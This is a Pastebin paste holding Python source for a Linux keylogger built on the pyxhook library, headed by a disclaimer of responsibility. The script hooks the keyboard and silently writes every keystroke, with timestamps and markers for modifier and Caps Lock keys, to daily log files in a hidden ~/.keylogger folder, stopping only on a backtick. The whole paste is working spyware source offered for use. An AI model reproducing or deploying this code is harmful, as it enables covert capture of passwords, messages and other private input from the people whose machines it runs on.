Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # I DO NOT TAKE ANY RESPONSIBILITY ABOUT THE THING THE YOU ARE GOING TO DO WITH THIS CODE
- import pyxhook
- import os
- from subprocess import call
- from time import *
- #checks if program is starting up for first time
- startup = 1
- #home folder of user
- homefolder = os.environ['HOME']
- #path where logs are stored
- filepath = homefolder + '/.keylogger/'
- #creates log folder if it doesn't exist yet
- if os.path.isdir(filepath) == False:
- call(['mkdir', filepath])
- #file to put logs
- #has timestamp which also creates a new file the next day
- log_file = filepath + strftime("%d:%m:%Y") + '.log'
- #used to see if caps is on so we can put a <CAPS> and </CAPS> tag
- caps = 0
- def OnKeyPress(event):
- fob=open(log_file, 'a')
- global caps
- global startup
- #checks if startup
- if startup == 1:
- fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
- startup = 0
- #Newline if enter is pushed
- if event.Key == 'Return':
- fob.write('\n')
- fob.write(strftime("%H:%M:%S: "))
- #I'm sorry for this blatant DRY (Don't repeat yourself) violation
- #Makes exceptions for special characters
- elif event.Key == 'space':
- fob.write(' ')
- elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
- fob.write(' ' + event.Key + ' ')
- elif event.Key == 'Caps_Lock':
- if caps == 0:
- fob.write(' <CAPS> ')
- caps = 1
- else:
- fob.write(' </CAPS> ')
- caps = 0
- elif event.Key == 'exclam':
- fob.write('!')
- elif event.Key == 'BackSpace':
- fob.write('')
- elif event.Key == 'at':
- fob.write('@')
- elif event.Key == 'numbersign':
- fob.write('#')
- elif event.Key == 'dollar':
- fob.write('$')
- elif event.Key == 'percent':
- fob.write('%')
- elif event.Key == 'asciicircum':
- fob.write('^')
- elif event.Key == 'ampersand':
- fob.write('&')
- elif event.Key == 'asterisk':
- fob.write('*')
- elif event.Key == 'parenleft':
- fob.write('(')
- elif event.Key == 'parenright':
- fob.write(')')
- elif event.Key == 'underscore':
- fob.write('_')
- elif event.Key == 'minus':
- fob.write('-')
- elif event.Key == 'equal':
- fob.write('=')
- elif event.Key == 'plus':
- fob.write('+')
- elif event.Key == 'backslash':
- fob.write('\\')
- elif event.Key == 'bar':
- fob.write('|')
- elif event.Key == 'bracketright':
- fob.write(']')
- elif event.Key == 'bracketleft':
- fob.write('[')
- elif event.Key == 'braceright':
- fob.write('}')
- elif event.Key == 'braceleft':
- fob.write('{')
- elif event.Key == 'apostrophe':
- fob.write('\'')
- elif event.Key == 'quotedbl':
- fob.write('"')
- elif event.Key == 'semicolon':
- fob.write(';')
- elif event.Key == 'colon':
- fob.write(':')
- elif event.Key == 'slash':
- fob.write('/')
- elif event.Key == 'question':
- fob.write('?')
- elif event.Key == 'period':
- fob.write('.')
- elif event.Key == 'greater':
- fob.write('>')
- elif event.Key == 'comma':
- fob.write(',')
- elif event.Key == 'less':
- fob.write('<')
- elif event.Key == 'asciitilede':
- fob.write('~')
- else:
- fob.write(event.Key)
- #96 is this character: `
- if event.Ascii==96:
- fob.write('\n')
- fob.close()
- new_hook.cancel()
- #prepares hook
- new_hook=pyxhook.HookManager()
- new_hook.KeyDown=OnKeyPress
- new_hook.HookKeyboard()
- new_hook.start()
Add Comment
Please, Sign In to add comment